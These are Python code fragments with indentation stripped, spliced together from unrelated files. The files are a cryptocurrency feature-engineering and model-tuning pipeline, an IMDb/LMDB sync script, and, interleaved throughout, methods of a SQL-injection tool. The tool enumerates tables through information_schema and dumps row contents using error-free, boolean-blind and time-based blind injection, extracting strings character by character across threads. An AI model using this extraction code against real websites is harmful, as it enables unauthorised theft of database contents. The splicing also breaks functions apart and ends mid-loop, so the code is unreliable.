'cv_best_mse': -1 * CV_rfc.best_score_, # CV score is negated MSE
# 'cv_results': CV_rfc.cv_results_,
'cv_bestparams': CV_rfc.best_params_,
}
print(stats)
with open(estFile.format(_sym), 'wb') as f:
pickle.dump(clf, f)
hyperparameters[_sym] = {
'estimator': estFile.format(_sym),
'stats': stats
}
# feature_importances = np.mean([
# p.named_steps.c.feature_importances_ for p in clf.estimators_
# ], axis=0)
# importances = {X.columns[i]: v for i, v in enumerate(feature_importances)}
# labeled = {str(k): v for k, v in sorted(importances.items(), key=lambda item: -item[1])}
# print({
# # 'features':sel_features
# 'feature_importances': labeled,
# # 'rank': {l: i + 1 for i, l in enumerate(labeled.keys())},
# })
with open(resultFile, 'w') as f: # Save results at every update
json.dump(hyperparameters, f, indent=4)
print("--- end ---")
# 移除有重複imdbid的資料
imdb_manager.remove_duplicate_imdb()
# 備份
imdb_manager.backup()
# 匯出資料庫到lmdb
imdb_manager.export2lmdb(lmdb_operator.HOST, lmdb_operator.DB)
# 將imdbid匯出成csv
imdbcsv_path = imdb_manager.imdbid2csv()
# lmdb
# 將imdbid匯入到lmdb
lmdb_manager.import_imdbid(imdbcsv_path)
# 更新lmdb中其他來源(開眼、豆瓣…)有，但是imdb來源卻沒有找到的電影
lmdb_manager.update_imdb_miss_movies()
# 更新由imdb網站parse的電影
lmdb_manager.update_imdb_parsed_movies()
# fixme
"""
目前的方法是相信imdbpy取得的imdbid是正確的，並且以imdb資料庫的資料為主，若沒有才去imdb網站抓
若imdbpy取得的imdbid錯誤，則會一直無法更正，要如何自動進行更新？
"""
ed = datetime.datetime.now()
message = 'start:%s \t end:%s' % (st, ed)
logger.info(message)
except Exception:
print traceback.format_exc()
sendmail(traceback.format_exc())
def get_tables(self):
# 若databases_name未设置，就跑一下
if len(self.databases_name) == 0:
logger.debug("Set the parameters of the self.databases_name...")
SqliDatabases.get_database(self)
# 每个databases_name需要跑一次tables_name
for database_name in self.databases_name:
# 开始跑database_name
logger.debug("Start sqli databases %s's tables_name" %
database_name)
tables_name = []
logger.debug("The sqlirequest is %s, start sqli tables..." %
self.sqlirequest)
if self.sqlimethod == "normal":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
logger.debug("Start table amount sqli...")
# 先注tables的数量
tables_number = normal_injection(
select='COUNT(*)',
source="information_schema.tables",
conditions="table_schema = '" + database_name + "'",
dealpayload=self.dealpayload,
data=self.Data,
isCount=True,
sqlirequest=self.sqlirequest)
logger.debug(
"Table account sqli success...The tables_number is %d..." %
tables_number)
print "[*] tables_number: %d" % tables_number
# 每个循环跑一次tables的数据
for i in trange(int(tables_number),
desc="Table sqli...",
leave=False,
disable=True):
# 首先是tablename的长度
logger.debug("Start %dth table length sqli..." % (i + 1))
table_name_len = normal_injection(
select='length(`table_name`)',
source="information_schema.tables",
conditions="table_schema = '" + database_name + "'",
limit=i,
dealpayload=self.dealpayload,
data=self.Data,
isCount=True,
sqlirequest=self.sqlirequest)
logger.debug(
"%dth Table name length sqli success...The table_name_len is %d..."
% ((i + 1), table_name_len))
logger.info("[*] %dth table_name_len: %d" %
((i + 1), table_name_len))
# 然后注tablename
logger.debug("Start %dth table name sqli..." % (i + 1))
table_name = normal_injection(
select='`table_name`',
source='information_schema.tables',
conditions="table_schema = '" + database_name + "'",
limit=i,
dealpayload=self.dealpayload,
data=self.Data,
isStrings=True,
sqlirequest=self.sqlirequest)
logger.debug(
"%dth Table name sqli success...The table_name is %s..."
% ((i + 1), table_name))
# 把table_name插入列表
tables_name.append(table_name)
logger.info("[*] %dth table_name: %s" %
((i + 1), table_name))
elif self.sqlimethod == "build":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
logger.debug("Start table amount sqli...")
retVal = build_injection(select="COUNT(`table_name`)",
source="information_schema.tables",
conditions="table_schema = '" +
database_name + "'",
dealpayload=self.dealpayload,
data=self.Data,
lens=self.len,
isCount=True,
sqlirequest=self.sqlirequest)
tables_number = int(retVal)
logger.debug(
"Tables amount sqli success...The tables_number is %d..." %
tables_number)
logger.info("[*] tables_number: %d" % tables_number)
for i in range(0, int(tables_number)):
# 然后注tables_name 的 length
logger.debug("Start %dth table length sqli..." % (i + 1))
retVal = build_injection(
select="length(`table_name`)",
source="information_schema.tables",
conditions="table_schema = '" + database_name + "'",
limit=i,
dealpayload=self.dealpayload,
data=self.Data,
lens=self.len,
isCount=True,
sqlirequest=self.sqlirequest)
table_name_len = int(retVal)
logger.debug(
"%dth Table name length sqli success...The table_name_len is %d..."
% ((i + 1), table_name_len))
logger.info("[*] %dth table_name_len: %d" %
((i + 1), table_name_len))
# 然后注tables名字
# 清空table_name
table_name = ""
logger.debug("Start %dth table sqli..." % (i + 1))
for j in trange(int(table_name_len),
desc='%dth Table sqli' % (i + 1),
leave=False):
retVal = build_injection(
select="ascii(substring(`table_name`," +
repr(j + 1) + ",1))",
source="information_schema.tables",
conditions="table_schema = '" + database_name +
"'",
limit=i,
dealpayload=self.dealpayload,
data=self.Data,
lens=self.len,
isStrings=True,
sqlirequest=self.sqlirequest)
table_name += chr(retVal)
logger.debug(
"%dth Table name sqli success...The table_name is %s..."
% ((i + 1), table_name))
# 把table_name插入列表
tables_name.append(table_name)
logger.info("[*] %dth table_name: %s" %
((i + 1), table_name))
elif self.sqlimethod == "time":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
logger.debug("Start table amount sqli...")
retVal = time_injection(select="COUNT(`table_name`)",
source="information_schema.tables",
conditions="table_schema = '" +
database_name + "'",
dealpayload=self.dealpayload,
data=self.Data,
times=self.time,
isCount=True,
sqlirequest=self.sqlirequest)
tables_number = int(retVal)
logger.debug(
"Tables amount sqli success...The tables_number is %d..." %
tables_number)
logger.info("[*] tables_number: %d" % tables_number)
for i in range(0, int(tables_number)):
# 然后注tables_number 的length
logger.debug("Start %dth table length sqli..." % (i + 1))
retVal = time_injection(select="length(`table_name`)",
source="information_schema.tables",
conditions="table_schema = '" +
database_name + "'",
limit=i,
dealpayload=self.dealpayload,
data=self.Data,
times=self.time,
isCount=True,
sqlirequest=self.sqlirequest)
table_name_len = int(retVal)
logger.debug(
"%dth Table name length sqli success...The table_name_len is %d..."
% ((i + 1), table_name_len))
logger.info("[*] %dth table_name_len: %d" %
((i + 1), table_name_len))
# 然后注tables名字
# 清空table_name
table_name = ""
logger.debug("Start %dth table sqli..." % (i + 1))
for j in trange(int(table_name_len),
desc='%dth Table sqli' % (i + 1),
leave=False):
retVal = time_injection(
select="ascii(substring(`table_name`," +
repr(j + 1) + ",1))",
source="information_schema.tables",
conditions="table_schema = '" + database_name +
"'",
limit=i,
dealpayload=self.dealpayload,
data=self.Data,
times=self.time,
isStrings=True,
sqlirequest=self.sqlirequest)
table_name += chr(retVal)
logger.debug(
"%dth Table name sqli success...The table_name is %s..."
% ((i + 1), table_name))
# 把tables_name插入列表
tables_name.append(table_name)
logger.info("[*] %dth table_name: %s" %
((i + 1), table_name))
self.tables_name[database_name] = tuple(tables_name)
print "[*] tables_name list: ", self.tables_name
def getActive():
global active
logger.info("active status %s" %(str(active)))
return active
def get_content_count(self, database_name, table_name):
# 开始注内容
logger.debug("Start sqli table %s content amount..." % table_name)
# 先GET
if self.sqlirequest == "GET":
logger.debug("The sqlirequest is %s, start sqli content..." %
self.sqlirequest)
if self.sqlimethod == "normal":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
logger.debug("Start table's %s content amount sqli..." %
table_name)
# 注数据的数量
content_count = normal_injection(select="count(*)",
source=database_name + "." +
table_name,
dealpayload=self.dealpayload,
data=self.Data,
isCount=True,
sqlirequest=self.sqlirequest)
logger.debug(
"Content account sqli success...The count is %d..." %
content_count)
# 把content account return回去
logger.info("[*] content count: %d" % content_count)
return content_count
elif self.sqlimethod == "build":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
logger.debug("Start table's %s content amount sqli..." %
table_name)
retVal = build_injection(select="count(*)",
source=database_name + "." +
table_name,
dealpayload=self.dealpayload,
data=self.Data,
lens=self.len,
isCount=True,
sqlirequest=self.sqlirequest)
content_count = int(retVal)
logger.debug(
"Content account sqli success...The content_count is %d..."
% content_count)
logger.info("[*] content_count: %d" % content_count)
# 把content account return回去
logger.info("[*] content count: %d" % content_count)
return content_count
elif self.sqlimethod == "time":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
logger.debug("Start table's %s content amount sqli..." %
table_name)
retVal = time_injection(select="count(*)",
source=database_name + "." +
table_name,
dealpayload=self.dealpayload,
data=self.Data,
times=self.time,
isCount=True,
sqlirequest=self.sqlirequest)
content_count = int(retVal)
logger.debug(
"Content account sqli success...The content_count is %d..."
% content_count)
logger.info("[*] content_count: %d" % content_count)
# 把content account return回去
logger.info("[*] content count: %d" % content_count)
return content_count
# 然后是post
elif self.sqlirequest == "POST":
logger.debug("The sqlirequest is %s, start sqli contents..." %
self.sqlirequest)
if self.sqlimethod == "normal":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
logger.debug("Start table's %s content amount sqli..." %
table_name)
# 注数据的数量
content_count = normal_injection(select="count(*)",
source=database_name + "." +
table_name,
dealpayload=self.dealpayload,
data=self.Data,
isCount=True,
sqlirequest=self.sqlirequest)
logger.debug(
"Content account sqli success...The count is %d..." %
content_count)
# 把content account return回去
logger.info("[*] content count: %d" % content_count)
return content_count
elif self.sqlimethod == "build":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
logger.debug("Start table's %s content amount sqli..." %
table_name)
retVal = build_injection(select="count(*)",
source=database_name + "." +
table_name,
dealpayload=self.dealpayload,
data=self.Data,
lens=self.len,
isCount=True,
sqlirequest=self.sqlirequest)
content_count = int(retVal)
logger.debug(
"Content account sqli success...The content_count is %d..."
% content_count)
logger.info("[*] content_count: %d" % content_count)
# 把content account return回去
logger.info("[*] content count: %d" % content_count)
return content_count
elif self.sqlimethod == "time":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
logger.debug("Start table's %s content amount sqli..." %
table_name)
retVal = time_injection(select="count(*)",
source=database_name + "." +
table_name,
dealpayload=self.dealpayload,
data=self.Data,
times=self.time,
isCount=True,
sqlirequest=self.sqlirequest)
content_count = int(retVal)
logger.debug(
"Content account sqli success...The content_count is %d..."
% content_count)
logger.info("[*] content_count: %d" % content_count)
# 把content account return回去
logger.info("[*] content count: %d" % content_count)
return content_count
from lib.log import logger
if __name__ == '__main__':
logger.info("test info")
logger.debug("test debug")
logger.warning("test warning")
logger.error("test error")
def build_improved_dataset(source_index, W=10):
_dataset = load_dataset(source_index, return_index=True)
index = {}
for _sym, entry in _dataset.items():
_df = pd.read_csv(entry['csv'],
sep=',',
encoding='utf-8',
index_col='Date',
parse_dates=True)
_target = pd.read_csv(entry['target_csv'],
sep=',',
encoding='utf-8',
index_col='Date',
parse_dates=True)
ohlcv = _df[entry['features']['ohlcv']]
ta = _df[entry['features']['ta']]
ta_7 = _df[entry['features']['ta_7d']]
cm = _df[entry['features']['cm']]
ohlcv_stats = pd.DataFrame(index=ohlcv.index)
#ohlcv_stats['volume'] = ohlcv.volume
#ohlcv_stats['volume_pct'] = ohlcv.volume.pct_change()
#ohlcv_stats['close_pct'] = ohlcv.close.pct_change()
ohlcv_stats['day_range_pct'] = (ohlcv.high - ohlcv.low).pct_change(
) # Showld always be > 0, price oscillation range for current day
ohlcv_stats[
'direction'] = ohlcv.close - ohlcv.open # Price direction for the day green > 0, red < 0. Modulus is range.
cm_picked = pd.DataFrame(index=ohlcv.index)
if 'adractcnt' in cm.columns:
cm_picked['adractcnt_pct'] = cm.adractcnt.pct_change()
# cm_picked['adractcnt_mean3_pct'] = cm.adractcnt.rolling(3).mean().pct_change()
# cm_picked['adractcnt_mean7_pct'] = cm.adractcnt.rolling(7).mean().pct_change()
# if 'splycur' in cm.columns: ## Correlated with volume and close
# cm_picked['vol_supply'] = ohlcv.volume / cm.splycur # Ratio between transacted volume and total supply (mined)
if 'txtfrvaladjntv' in cm.columns and 'isstotntv' in cm.columns and 'feetotntv' in cm.columns:
# I want to represent miners earnings (fees + issued coins) vs amount transacted in that interval
cm_picked['earned_vs_transacted'] = (
cm.isstotntv + cm.feetotntv) / cm.txtfrvaladjntv
if 'isstotntv' in cm.columns:
# isstotntv is total number of coins mined in the time interval
# splycur is total number of coins mined (all time)
total_mined = cm.isstotntv.rolling(
365, min_periods=7).sum() # total mined in a year
cm_picked['isstot365_isstot1_pct'] = (total_mined /
cm.isstotntv).pct_change()
if 'splycur' in cm.columns and 'isstotntv' in cm.columns:
cm_picked['splycur_isstot1_pct'] = (cm.splycur /
cm.isstotntv).pct_change()
if 'hashrate' in cm.columns:
#cm_picked['hashrate_mean3_pct'] = cm.hashrate.rolling(3).mean().pct_change()
#cm_picked['hashrate_mean7_pct'] = cm.hashrate.rolling(7).mean().pct_change()
cm_picked['hashrate_pct'] = cm.hashrate.pct_change()
if 'roi30d' in cm.columns:
cm_picked['roi30d'] = cm.roi30d
if 'isstotntv' in cm.columns:
cm_picked['isstotntv_pct'] = cm.isstotntv.pct_change()
if 'feetotntv' in cm.columns:
cm_picked['feetotntv_pct'] = cm.feetotntv.pct_change()
if 'txtfrcount' in cm.columns:
cm_picked['txtfrcount_pct'] = cm.txtfrcount.pct_change()
cm_picked['txtfrcount_volume'] = cm.txtfrcount.pct_change()
if 'vtydayret30d' in cm.columns:
cm_picked['vtydayret30d'] = cm.vtydayret30d
if 'isscontpctann' in cm.columns:
cm_picked['isscontpctann'] = cm.isscontpctann
ta_picked = pd.DataFrame(index=ta.index)
# REMA / RSMA are already used and well-estabilished in ATSA,
# I'm taking the pct change since i want to encode the relative movement of the ema's not their positions
# ta_picked['rema_5_20_pct'] = ta.rema_5_20.pct_change()
ta_picked['rema_8_15_pct'] = ta.rema_8_15.pct_change()
# ta_picked['rema_20_50_pct'] = ta.rema_20_50.pct_change()
# ta_picked['rsma_5_20_pct'] = ta.rema_5_20.pct_change()
ta_picked['rsma_8_15_pct'] = ta.rema_8_15.pct_change()
# ta_picked['rsma_20_50_pct'] = ta.rema_20_50.pct_change()
# Stoch is a momentum indicator comparing a particular closing price of a security to a range of its prices
# over a certain period of time.
# The sensitivity of the oscillator to market movements is reducible by adjusting that time period or
# by taking a moving average of the result.
# It is used to generate overbought and oversold trading signals, utilizing a 0-100 bounded range of values.
# IDEA => decrease sensitivity by 3-mean and divide by 100 to get fp values
ta_picked['stoch_14_mean3_div100'] = ta.stoch_14.rolling(
3).mean() / 100
#Moving Average Convergence Divergence (MACD) is a trend-following momentum indicator that shows
# the relationship between two moving averages of a security’s price.
# The MACD is calculated by subtracting the 26-period Exponential Moving Average (EMA) from the 12-period EMA.
# A nine-day EMA of the MACD called the "signal line," is then plotted on top of the MACD line,
# which can function as a trigger for buy and sell signals.
# Traders may buy the security when the MACD crosses above its signal line and sell - or short - the security
# when the MACD crosses below the signal line.
# Moving Average Convergence Divergence (MACD) indicators can be interpreted in several ways,
# but the more common methods are crossovers, divergences, and rapid rises/falls.
signal_line = builder.exponential_moving_average(ta.macd_12_26, 9)
ta_picked['macd_12_26_signal'] = (
ta.macd_12_26 -
signal_line).pct_change() # Relationship with signal line
ta_picked['macd_12_26_pct'] = ta.macd_12_26.pct_change(
) # Information about slope
# PPO is identical to the moving average convergence divergence (MACD) indicator,
# except the PPO measures percentage difference between two EMAs, while the MACD measures absolute (dollar) difference.
signal_line = builder.exponential_moving_average(ta.ppo_12_26, 9)
ta_picked['ppo_12_26_signal'] = (
ta.ppo_12_26 -
signal_line).pct_change() # Relationship with signal line
ta_picked['ppo_12_26_pct'] = ta.ppo_12_26.pct_change(
) # Information about slope
# ADI Accumulation/distribution is a cumulative indicator that uses volume and price to assess whether
# a stock is being accumulated or distributed.
# The accumulation/distribution measure seeks to identify divergences between the stock price and volume flow.
# This provides insight into how strong a trend is. If the price is rising but the indicator is falling
# this indicates that buying or accumulation volume may not be enough to support
# the price rise and a price decline could be forthcoming.
# ==> IDEA: if we can fit a line to the price y1 = m1X+q1 and a line to ADI y2=m2X+q2 then we can identify
# divergences by simply looking at the sign of M.
# Another insight would be given by the slope (ie pct_change)
ta_picked['adi_pct'] = ta.adi.pct_change()
ta_picked['adi_close_convergence'] = convergence_between_series(
ta.adi, ohlcv.close, 3)
# RSI goes from 0 to 100, values <= 20 mean BUY, while values >= 80 mean SELL.
# Dividing it by 100 to get a floating point feature, makes no sense to pct_change it
ta_picked['rsi_14_div100'] = ta.rsi_14 / 100
# The Money Flow Index (MFI) is a technical indicator that generates overbought or oversold
# signals using both prices and volume data. The oscillator moves between 0 and 100.
# An MFI reading above 80 is considered overbought and an MFI reading below 20 is considered oversold,
# although levels of 90 and 10 are also used as thresholds.
# A divergence between the indicator and price is noteworthy. For example, if the indicator is rising while
# the price is falling or flat, the price could start rising.
ta_picked['mfi_14_div100'] = ta.mfi_14 / 100
# The Chande momentum oscillator is a technical momentum indicator similar to other momentum indicators
# such as Wilder’s Relative Strength Index (Wilder’s RSI) and the Stochastic Oscillator.
# It measures momentum on both up and down days and does not smooth results, triggering more frequent
# oversold and overbought penetrations. The indicator oscillates between +100 and -100.
# Many technical traders add a 10-period moving average to this oscillator to act as a signal line.
# The oscillator generates a bullish signal when it crosses above the moving average and a
# bearish signal when it drops below the moving average.
ta_picked['cmo_14_div100'] = ta.cmo_14 / 100
signal_line = builder.simple_moving_average(ta.cmo_14, 10)
ta_picked['cmo_14_signal'] = (ta.cmo_14 - signal_line) / 100
# On-balance volume (OBV) is a technical trading momentum indicator that uses volume flow to predict changes in stock price.
# Eventually, volume drives the price upward. At that point, larger investors begin to sell, and smaller investors begin buying.
# Despite being plotted on a price chart and measured numerically,
# the actual individual quantitative value of OBV is not relevant.
# The indicator itself is cumulative, while the time interval remains fixed by a dedicated starting point,
# meaning the real number value of OBV arbitrarily depends on the start date.
# Instead, traders and analysts look to the nature of OBV movements over time;
# the slope of the OBV line carries all of the weight of analysis. => We want percent change
ta_picked['obv_pct'] = ta.obv.pct_change()
ta_picked['obv_mean3_pct'] = ta.obv.rolling(3).mean().pct_change()
# Strong rallies in price should see the force index rise.
# During pullbacks and sideways movements, the force index will often fall because the volume
# and/or the size of the price moves gets smaller.
# => Encoding the percent variation could be a good idea
ta_picked['fi_13_pct'] = ta.fi_13.pct_change()
ta_picked['fi_50_pct'] = ta.fi_50.pct_change()
# The Aroon Oscillator is a trend-following indicator that uses aspects of the
# Aroon Indicator (Aroon Up and Aroon Down) to gauge the strength of a current trend
# and the likelihood that it will continue.
# It moves between -100 and 100. A high oscillator value is an indication of an uptrend
# while a low oscillator value is an indication of a downtrend.
ta_picked['ao_14'] = ta.ao_14 / 100
# The average true range (ATR) is a technical analysis indicator that measures market volatility
# by decomposing the entire range of an asset price for that period.
# ATRP is pct_change of volatility
ta_picked['atrp_14'] = ta.atrp_14
# Percentage Volume Oscillator (PVO) is momentum volume oscillator used in technical analysis
# to evaluate and measure volume surges and to compare trading volume to the average longer-term volume.
# PVO does not analyze price and it is based solely on volume.
# It compares fast and slow volume moving averages by showing how short-term volume differs from
# the average volume over longer-term.
# Since it does not care a trend's factor in its calculation (only volume data are used)
# this technical indicator cannot be used alone to predict changes in a trend.
ta_picked['pvo_12_26'] = ta.pvo_12_26
# IGNORED: tsi, wd, adx,
#lagged_stats = pd.concat([ohlcv_stats] + [builder.make_lagged(ohlcv_stats, i) for i in range(1,10+1)], axis='columns', verify_integrity=True, sort=True, join='inner')
# Build the dataframe with base features
# lagged_close = pd.concat([ohlcv.close.pct_change()] + [builder.make_lagged(ohlcv.close.pct_change(), i) for i in range(1,10+1)], axis='columns', verify_integrity=True, sort=True, join='inner')
# lagged_close.columns = ['close_pct'] + ['close_pct_lag-{}'.format(i) for i in range(1, W +1)]
ohlc = ohlcv[['close', 'volume']].pct_change()
lagged_ohlc = pd.concat(
[ohlc] + [builder.make_lagged(ohlc, i) for i in range(1, W + 1)],
axis='columns',
verify_integrity=True,
sort=True,
join='inner')
# Add lagged features to the dataframe
improved_df = pd.concat(
[ohlcv_stats, lagged_ohlc, cm_picked, ta_picked],
axis='columns',
verify_integrity=True,
sort=True,
join='inner')
# Drop the first 30 rows
improved_df = improved_df[30:]
# Drop columns whose values are all nan or inf
with pd.option_context('mode.use_inf_as_na',
True): # Set option temporarily
improved_df = improved_df.dropna(axis='columns', how='all')
# Save the dataframe
improved_df.to_csv(
'data/datasets/all_merged/csv/{}_improved.csv'.format(
_sym.lower()),
sep=',',
encoding='utf-8',
index=True,
index_label='Date')
improved_df.to_excel(
'data/datasets/all_merged/excel/{}_improved.xlsx'.format(
_sym.lower()),
index=True,
index_label='Date')
unlagged_df = improved_df.loc[:, [
c for c in improved_df.columns if not '_lag' in c
]]
unlagged_df['target_pct'] = _target.loc[improved_df.index]['pct']
unlagged_df['target_binary_bin'] = _target.loc[
improved_df.index]['binary_bin']
plot_correlation_matrix(
unlagged_df.corr(),
unlagged_df.columns,
title='{} Correlation matrix'.format(_sym),
save_to='data/datasets/all_merged/{}_improved_corr.png'.format(
_sym))
#decompose_dataframe_features('all_merged', _sym+'_improved', unlagged_df)
# Add symbol to index
index[_sym] = {
'csv':
'data/datasets/all_merged/csv/{}_improved.csv'.format(
_sym.lower()),
'xls':
'data/datasets/all_merged/excel/{}_improved.xlsx'.format(
_sym.lower()),
'target_csv':
'data/datasets/all_merged/csv/{}_target.csv'.format(_sym.lower()),
'target_xls':
'data/datasets/all_merged/excel/{}_target.xlsx'.format(
_sym.lower()),
'features': {
'improved': [c for c in improved_df.columns],
}
}
logger.info('Saved {} in data/datasets/all_merged/'.format(_sym))
with open('data/datasets/all_merged/index_improved.json', 'w') as f:
json.dump(index, f, sort_keys=True, indent=4)
# Find common features
common_features = []
for _sym, entry in index.items():
features = entry['features']['improved']
if not common_features: # if common_features is empty, common_features are all the current features
common_features = features
not_common_features = []
for f in common_features: # remove features from common_features which are not in features
if f not in features:
not_common_features.append(f)
for f in not_common_features:
common_features.remove(f)
for _sym, entry in index.items():
entry['features']['common'] = common_features
# Save index again
with open('data/datasets/all_merged/index_improved.json', 'w') as f:
json.dump(index, f, sort_keys=True, indent=4)
def run_content(self):
if len(self.columns_name) == 0:
SqliColumns.get_columns(self)
# 循环解包，进入注入
for database_name in self.columns_name:
for table_name in self.columns_name[database_name]:
# 获取数据的条数，如果小于设置的self.content_count，那需要设置条数等于self.content_count
content_counts = self.get_content_count(database_name, table_name)
if content_counts == 0:
logger.warning('Database %s Table %s is empty...' % (database_name, table_name))
continue
elif content_counts != self.content_count:
logger.debug('Database %s Table %s content amount change to %d' % (database_name, table_name, content_counts))
self.content_count = content_counts
else:
pass
# 声明一个表储存数据
content = PrettyTable(list(self.columns_name[database_name][table_name]))
content.padding_width = 1
content.align = "r"
# 每个表都要注入指定条数那么多次
for limits in xrange(self.content_count):
# 声明一个队列，储存返回的值
result = Queue.Queue()
# 声明线程队列、结果队列和最终插入table的数据队列
threads = []
results = []
contents = []
# 开始多线程的注入
logger.debug("Start multithreading Sqli...")
for column_name in self.columns_name[database_name][table_name]:
# 开始一个线程注入一个字段
try:
t = threading.Thread(target=self.get_content, name='thread for %s' % column_name,
args=(result, database_name, table_name, column_name, limits))
t.start()
except:
logger.error('Thread error...')
threads.append(t)
# 等待所有线程结束
for t in threads:
t.join()
# 注入处理返回数据，插入content中的一条
while not result.empty():
results.append(result.get())
# 处理返回的数据
for i in list(self.columns_name[database_name][table_name]):
for item in results:
if item[0] == i:
contents.append(item[1])
else:
continue
# 插入数据
content_str = ','.join(contents)
logger.info("Sqli success content is %s" % content_str)
content.add_row(contents)
# 输出表
logger.debug("Database %s Table %s sqli success..." % (database_name, table_name))
print "[*] Database %s Table %s content:" % (database_name, table_name)
print content
def build_faceted_dataset(source_index, W=10):
_dataset = load_dataset(source_index, return_index=True)
index = {}
for _sym, entry in _dataset.items():
_df = pd.read_csv(entry['csv'],
sep=',',
encoding='utf-8',
index_col='Date',
parse_dates=True)
_target = pd.read_csv(entry['target_csv'],
sep=',',
encoding='utf-8',
index_col='Date',
parse_dates=True)
ta = _df[entry['features']['ta']]
cm = _df[entry['features']['cm']]
# Price history facet (Daily variation of ohlc in last W trading days)
ohlc = _df[['open', 'high', 'low', 'close']].pct_change()
ohlc.columns = ['open_pct', 'high_pct', 'low_pct', 'close_pct']
history_facet = pd.concat(
[ohlc] + [builder.make_lagged(ohlc, i) for i in range(1, W + 1)],
axis='columns',
verify_integrity=True,
sort=True,
join='inner')
# Price trend facet (REMA/RSMA, MACD, AO, ADX, WD+ - WD-)
trend_facet = ta[[
"rsma_5_20", "rsma_8_15", "rsma_20_50", "rema_5_20", "rema_8_15",
"rema_20_50", "macd_12_26", "ao_14", "adx_14", "wd_14"
]]
# Volatility facet (CMO, ATRp)
volatility_facet = ta[["cmo_14", "atrp_14"]]
# Volume facet (Volume pct, PVO, ADI, OBV)
volume_facet = pd.concat([
_df.volume.pct_change().replace([np.inf, -np.inf], 0),
ta[["pvo_12_26", "adi", "obv"]]
],
axis='columns',
verify_integrity=True,
sort=True,
join='inner')
# On-chain facet
cm_1 = cm.reindex(columns=[
'adractcnt', 'txtfrvaladjntv', 'isstotntv', 'feetotntv', 'splycur',
'hashrate', 'txtfrcount'
]).pct_change()
cm_2 = cm.reindex(columns=['isscontpctann'])
chain_facet = pd.concat([cm_1, cm_2],
axis='columns',
verify_integrity=True,
sort=True,
join='inner')
# Drop columns whose values are all nan or inf from each facet
with pd.option_context('mode.use_inf_as_na',
True): # Set option temporarily
history_facet = history_facet.dropna(axis='columns', how='all')
trend_facet = trend_facet.dropna(axis='columns', how='all')
volatility_facet = volatility_facet.dropna(axis='columns',
how='all')
volume_facet = volume_facet.dropna(axis='columns', how='all')
chain_facet = chain_facet.dropna(axis='columns', how='all')
improved_df = pd.concat([
history_facet, trend_facet, volatility_facet, volume_facet,
chain_facet
],
axis='columns',
verify_integrity=True,
sort=True,
join='inner')
# Drop the first 30 rows
improved_df = improved_df[30:]
# Save the dataframe
improved_df.to_csv(
'data/datasets/all_merged/csv/{}_faceted.csv'.format(_sym.lower()),
sep=',',
encoding='utf-8',
index=True,
index_label='Date')
improved_df.to_excel(
'data/datasets/all_merged/excel/{}_faceted.xlsx'.format(
_sym.lower()),
index=True,
index_label='Date')
# Add symbol to index
index[_sym] = {
'csv':
'data/datasets/all_merged/csv/{}_faceted.csv'.format(_sym.lower()),
'xls':
'data/datasets/all_merged/excel/{}_faceted.xlsx'.format(
_sym.lower()),
'target_csv':
'data/datasets/all_merged/csv/{}_target.csv'.format(_sym.lower()),
'target_xls':
'data/datasets/all_merged/excel/{}_target.xlsx'.format(
_sym.lower()),
'features': {
'price_history': [c for c in history_facet.columns],
'trend': [c for c in trend_facet.columns],
'volatility': [c for c in volatility_facet.columns],
'volume': [c for c in volume_facet.columns],
'chain': [c for c in chain_facet.columns],
}
}
logger.info('Saved {} in data/datasets/all_merged/'.format(_sym))
with open('data/datasets/all_merged/index_faceted.json', 'w') as f:
json.dump(index, f, sort_keys=True, indent=4)
def get_content(self, result, database_name, table_name, column_name, limits):
# 开始注内容
content_len = 0
logger.debug("Start sqli table %s column %s limit %d content..." % (table_name, column_name, limits))
logger.debug("The sqlirequest is %s, start sqli content..." % self.sqlirequest)
if self.sqlimethod == "normal":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
# 注这一条的数据长度
logger.debug("Start %dth content length sqli..." % (limits + 1))
content_len = normal_injection(select="length(`" + column_name + "`)",
source=database_name + "." + table_name,
limit=limits,
dealpayload=self.dealpayload,
data=self.Data, isCount=True,
sqlirequest=self.sqlirequest
)
logger.debug("Content length sqli success...now is limit %d, The content_len is %d..." % (limits, content_len))
logger.info("[*] content_len: %d" % content_len)
# 然后注content
logger.debug("Start %dth content sqli..." % (limits + 1))
content = normal_injection(select="`" + column_name + "`",
source=database_name + "." + table_name,
limit=limits,
dealpayload=self.dealpayload,
data=self.Data, isStrings=True, sqlirequest=self.sqlirequest
)
logger.debug("Content sqli success...The content is %s..." % content)
# 把content return回去，以元组的形式
contents = [column_name, content]
logger.info("[*] content: %s" % content)
result.put(tuple(contents))
elif self.sqlimethod == "build":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
# 然后注content 的 length
retVal = build_injection(select="length(`" + column_name + "`)",
source=database_name + "." + table_name,
limit=limits,
dealpayload=self.dealpayload, data=self.Data,
lens=self.len,
isCount=True, sqlirequest=self.sqlirequest)
content_len = int(retVal)
logger.debug("Content length sqli success...now is limit %d, The content_len is %d..." % (limits, content_len))
logger.info("[*] content_len: %d" % content_len)
# 然后注content名字
# 清空column_name
content = ""
logger.debug("Start %dth content sqli..." % (limits + 1))
for j in trange(int(content_len), desc='%dth Content sqli' % (limits + 1), leave=False):
retVal = build_injection(select="ascii(substring(`" + column_name + "`," + repr(j + 1) + ",1))",
source=database_name + "." + table_name,
limit=limits,
dealpayload=self.dealpayload, data=self.Data, lens=self.len,
isStrings=True, sqlirequest=self.sqlirequest)
content += chr(retVal)
logger.debug("Content sqli success...The content is %s..." % content)
# 把content return回去，以元组的形式
contents = [column_name, content]
logger.info("[*] content: %s" % content)
result.put(tuple(contents))
elif self.sqlimethod == "time":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
# 然后注content 的length
retVal = time_injection(select="length(`" + column_name + "`)",
source=database_name + "." + table_name,
limit=limits,
dealpayload=self.dealpayload, data=self.Data, times=self.time,
isCount=True, sqlirequest=self.sqlirequest)
content_len = int(retVal)
logger.debug("Content length sqli success...now is limit %d, The content_len is %d..." % (limits, content_len))
logger.info("[*] content_len: %d" % content_len)
# 然后注content名字
# 清空column_name
content = ""
logger.debug("Start %dth content sqli..." % (limits + 1))
for j in trange(int(content_len), desc='%dth Database sqli' % (limits + 1), leave=False):
